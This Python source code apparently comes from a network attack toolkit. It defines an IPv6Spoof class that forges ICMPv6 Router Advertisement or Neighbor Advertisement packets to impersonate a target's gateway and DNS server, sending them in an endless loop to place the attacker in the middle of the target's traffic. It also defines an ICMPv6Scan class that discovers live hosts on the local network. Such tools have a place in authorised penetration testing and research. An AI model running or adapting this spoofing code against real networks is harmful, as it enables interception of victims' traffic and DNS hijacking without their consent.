class IPv6Spoof: # region Variables _base: Base = Base() _utils: Utils = Utils() _icmpv6: RawICMPv6 = RawICMPv6() _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None, 'ipv6-link-address': None} _target: Dict[str, Union[None, str]] = {'ipv6-address': None, 'mac-address': None, 'vendor': None} _techniques: Dict[int, str] = {1: 'ICMPv6 RA (Router Advertisement) Spoofing', 2: 'ICMPv6 NA (Neighbor Advertisement) Spoofing'} _technique_index: Union[None, int] = None # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name """ self._your = self._base.get_interface_settings(interface_name=network_interface, required_parameters=['mac-address']) if self._your['ipv6-link-address'] is None: self._your['ipv6-link-address'] = self._base.make_ipv6_link_address(self._your['mac-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) self._icmpv6_scan: ICMPv6Scan = ICMPv6Scan(network_interface=network_interface) self._icmpv6_router_search: ICMPv6RouterSearch = ICMPv6RouterSearch(network_interface=network_interface) # endregion # region Start IPv6 Spoofing def start(self, technique: Union[None, int] = None, target_ipv6_address: Union[None, str] = None, target_mac_address: Union[None, str] = None, gateway_ipv6_address: Union[None, str] = None, dns_ipv6_address: Union[None, str] = None, dns_domain_search: str = 'domain.local', ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64', quiet: bool = False): try: # region Variables gateway_mac_address: Union[None, str] = None prefix: Union[None, str] = None mtu: int = 1500 router_lifetime: int = 2 reachable_time: int = 2000 retrans_timer: int = 2000 advertisement_interval: int = 2000 # endregion # region Set prefix if ipv6_prefix is not None: prefix = ipv6_prefix # endregion # region Set technique technique_pretty_table: PrettyTable = PrettyTable([self._base.info_text('Index'), self._base.info_text('ICMPv6 MiTM technique')]) for technique_key in self._techniques.keys(): technique_pretty_table.add_row([str(technique_key), self._techniques[technique_key]]) if technique is None: self._base.print_info('ICMPv6 MiTM technique list:') print(technique_pretty_table) print(self._base.c_info + 'Select ICMPv6 MiTM technique index from range (1 - ' + str(len(self._techniques.keys())) + '): ', end='') current_technique_index: str = input() assert current_technique_index.isdigit(), \ 'ICMPv6 MiTM technique index is not digit!' current_technique_index: int = int(current_technique_index) assert not any([current_technique_index < 1, current_technique_index > len(self._techniques.keys())]), \ 'ICMPv6 MiTM technique index is not within range (1 - ' + str(len(self._techniques.keys())) + ')' self._technique_index = current_technique_index else: assert int(technique) == 1 or int(technique) == 2, \ 'Bad technique index, technique must be: \n' + str(technique_pretty_table) self._technique_index = int(technique) # endregion # region Check gateway_ipv6_address and dns_ipv6_address # region Gateway IPv6 address not Set router_advertisement_data: Union[None, Dict[str, Union[int, str]]] = None if gateway_ipv6_address is None: self._base.print_info('Search IPv6 Gateway and DNS server ....') router_advertisement_data: Union[None, Dict[str, Union[int, str]]] = \ self._icmpv6_router_search.search(timeout=5, retry=3, exit_on_failure=False) # region Find IPv6 router if router_advertisement_data is not None: gateway_ipv6_address = router_advertisement_data['router_ipv6_address'] gateway_mac_address = router_advertisement_data['router_mac_address'] if 'dns-server' in router_advertisement_data.keys(): dns_ipv6_address = router_advertisement_data['dns-server'] else: dns_ipv6_address = self._your['ipv6-link-address'] if 'prefix' in router_advertisement_data.keys(): prefix = router_advertisement_data['prefix'] else: prefix = ipv6_prefix if 'mtu' in router_advertisement_data.keys(): mtu = int(router_advertisement_data['mtu']) # endregion # region Could not find IPv6 router else: gateway_ipv6_address = self._your['ipv6-link-address'] gateway_mac_address = self._your['mac-address'] prefix = ipv6_prefix dns_ipv6_address = self._your['ipv6-link-address'] # endregion # endregion # region Gateway IPv6 address is Set if gateway_ipv6_address is not None: gateway_ipv6_address = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=gateway_ipv6_address, is_local_ipv6_address=True, parameter_name='Gateway IPv6 address', check_your_ipv6_address=False) # endregion # region DNS IPv6 address not Set if dns_ipv6_address is None: dns_ipv6_address = self._your['ipv6-link-address'] # endregion # region DNS IPv6 address is Set if dns_ipv6_address is not None: dns_ipv6_address = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=dns_ipv6_address, is_local_ipv6_address=False, parameter_name='DNS server IPv6 address', check_your_ipv6_address=False) # endregion # region Print Gateway and DNS server information self._base.print_success('Gateway IPv6 address: ', gateway_ipv6_address) if gateway_mac_address is not None: self._base.print_success('Gateway MAC address: ', gateway_mac_address) if router_advertisement_data is not None: self._base.print_success('Gateway Vendor: ', router_advertisement_data['vendor']) if dns_ipv6_address is not None: self._base.print_success('DNS IPv6 address: ', dns_ipv6_address) self._base.print_success('IPv6 prefix: ', prefix) self._base.print_success('MTU: ', str(mtu)) self._base.print_success('Router lifetime (s): ', str(router_lifetime)) self._base.print_success('Reachable time (ms): ', str(reachable_time)) self._base.print_success('Retrans timer (ms): ', str(retrans_timer)) # endregion # endregion # region Set target self._target = self._utils.set_ipv6_target(network_interface=self._your['network-interface'], target_ipv6_address=target_ipv6_address, target_mac_address=target_mac_address, exclude_ipv6_addresses=[gateway_ipv6_address]) # Check target IPv6 and gateway IPv6 assert self._target['ipv6-address'] != gateway_ipv6_address, \ 'Bad target IPv6 address: ' + self._base.error_text(target_ipv6_address) + \ '; Target IPv6 address is gateway link local IPv6 address!' # Print Target IPv6- and MAC-address if not quiet: self._base.print_success('Target IPv6 address: ', self._target['ipv6-address']) self._base.print_success('Target MAC address: ', self._target['mac-address']) if self._target['vendor'] is not None: self._base.print_success('Target vendor: ', self._target['vendor']) # endregion # region Start spoofing self._base.print_info('IPv6 Spoof: ', gateway_ipv6_address + ' -> ' + self._your['mac-address']) spoof_packets: List[bytes] = list() # region Use RA (Router Advertisement) technique if self._technique_index == 1: self._base.print_info('Send Router Advertisement packets to: ', self._target['ipv6-address'] + ' (' + self._target['mac-address'] + ')') self._base.print_info('Start Router Advertisement spoofing ...') spoof_packets.append( self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], ipv6_src=gateway_ipv6_address, ipv6_dst=self._target['ipv6-address'], dns_address=self._your['ipv6-link-address'], domain_search=dns_domain_search, prefix=prefix, mtu=mtu, src_link_layer_address=self._your['mac-address'], router_lifetime=router_lifetime, reachable_time=reachable_time, retrans_timer=retrans_timer, advertisement_interval=advertisement_interval)) # endregion # region Use NA (Neighbor Advertisement) technique if self._technique_index == 2: self._base.print_info('Send Neighbor Advertisement packets to: ', self._target['ipv6-address'] + ' (' + self._target['mac-address'] + ')') self._base.print_info('Start Neighbor Advertisement spoofing ...') spoof_packets.append( self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], ipv6_src=gateway_ipv6_address, ipv6_dst=self._target['ipv6-address'], target_ipv6_address=gateway_ipv6_address)) if dns_ipv6_address != self._your['ipv6-link-address'] and dns_ipv6_address != gateway_ipv6_address: spoof_packets.append( self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], ipv6_src=dns_ipv6_address, ipv6_dst=self._target['ipv6-address'], target_ipv6_address=dns_ipv6_address)) # endregion while True: for spoof_packet in spoof_packets: self._raw_send.send_packet(spoof_packet) sleep(0.25) # endregion except KeyboardInterrupt: if not quiet: self._base.print_info('Exit') exit(0) except AssertionError as Error: if not quiet: self._base.print_error(Error.args[0]) exit(1)
class ICMPv6Scan: # region Set variables _base: Base = Base() _icmpv6: RawICMPv6 = RawICMPv6() _raw_sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv6-link-address': None } _target: Dict[str, Union[None, str]] = { 'ipv6-address': None, 'mac-address': 'ff:ff:ff:ff:ff:ff', 'vendor': None } _results: List[Dict[str, str]] = list() _unique_results: List[Dict[str, str]] = list() _mac_addresses: List[str] = list() _retry_number: int = 3 _timeout: int = 3 _icmpv6_identifier: int = 0 # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=['mac-address', 'ipv6-link-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Analyze packet def _analyze_packet(self, packet: Dict) -> None: try: assert 'Ethernet' in packet.keys() assert 'IPv6' in packet.keys() assert 'ICMPv6' in packet.keys() assert 'type' in packet['ICMPv6'].keys() assert 'identifier' in packet['ICMPv6'].keys() # 129 Type of ICMPv6 Echo (ping) reply assert packet['ICMPv6']['type'] == 129, \ 'Not ICMPv6 Echo (ping) reply packet!' # Check ICMPv6 Echo (ping) reply identifier assert packet['ICMPv6']['identifier'] == self._icmpv6_identifier, \ 'ICMPv6 Echo (ping) reply bad identifier' # Add MAC- and IPv6-address in result list self._results.append({ 'mac-address': packet['Ethernet']['source'], 'ip-address': packet['IPv6']['source-ip'] }) except AssertionError: pass # endregion # region Sniffer def _sniff(self) -> None: """ Sniff ICMPv6 packets :return: None """ self._raw_sniff.start( protocols=['Ethernet', 'IPv6', 'ICMPv6'], prn=self._analyze_packet, filters={ 'Ethernet': { 'destination': self._your['mac-address'] }, 'IPv6': { 'destination-ip': self._your['ipv6-link-address'] }, 'ICMPv6': { 'type': 129 } }, network_interface=self._your['network-interface'], scapy_filter='icmp6', scapy_lfilter=lambda eth: eth.dst == self._your['mac-address']) # endregion # region Sender def _send(self) -> None: """ Send ICMPv6 packets :return: None """ request: bytes = self._icmpv6.make_echo_request_packet( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst='ff02::1', id=self._icmpv6_identifier) self._raw_send.send_packet(packet=request, count=self._retry_number, delay=0.3) # endregion # region Scanner def scan(self, timeout: int = 3, retry: int = 3, target_mac_address: Union[None, str] = None, check_vendor: bool = True, exit_on_failure: bool = True, exclude_ipv6_addresses: List[str] = []) -> List[Dict[str, str]]: """ Find alive IPv6 hosts in local network with echo (ping) request packets :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_mac_address: Target MAC address (example: 192.168.0.1) :param check_vendor: Check vendor of hosts (default: True) :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True) :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': 'fe80::1234:5678:90ab:cdef', 'vendor': 'Apple, Inc.'}]) """ # region Clear lists with scan results self._results.clear() self._unique_results.clear() self._mac_addresses.clear() # endregion # region Set variables if target_mac_address is not None: self._base.mac_address_validation(mac_address=target_mac_address, exit_on_failure=True) self._target['mac-address'] = target_mac_address self._timeout = int(timeout) self._retry_number = int(retry) self._icmpv6_identifier = randint(1, 65535) # endregion # region Run _sniffer self._thread_manager.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self._timeout) # endregion # region Unique results for index in range(len(self._results)): if self._results[index]['mac-address'] not in self._mac_addresses: self._unique_results.append(self._results[index]) self._mac_addresses.append(self._results[index]['mac-address']) # endregion # region Get vendors if check_vendor: for result_index in range(len(self._unique_results)): self._unique_results[result_index]['vendor'] = \ self._base.get_vendor_by_mac_address(self._unique_results[result_index]['mac-address']) # endregion # region Exclude IPv6 addresses if len(exclude_ipv6_addresses) > 0: results: List[Dict[str, str]] = list() for unique_result in self._unique_results: if unique_result['ip-address'] not in exclude_ipv6_addresses: results.append(unique_result) self._unique_results = results # endregion # region Return results if len(self._unique_results) == 0: if exit_on_failure: self._base.error_text( 'Could not found alive IPv6 hosts on interface: ' + self._your['network-interface']) exit(1) return self._unique_results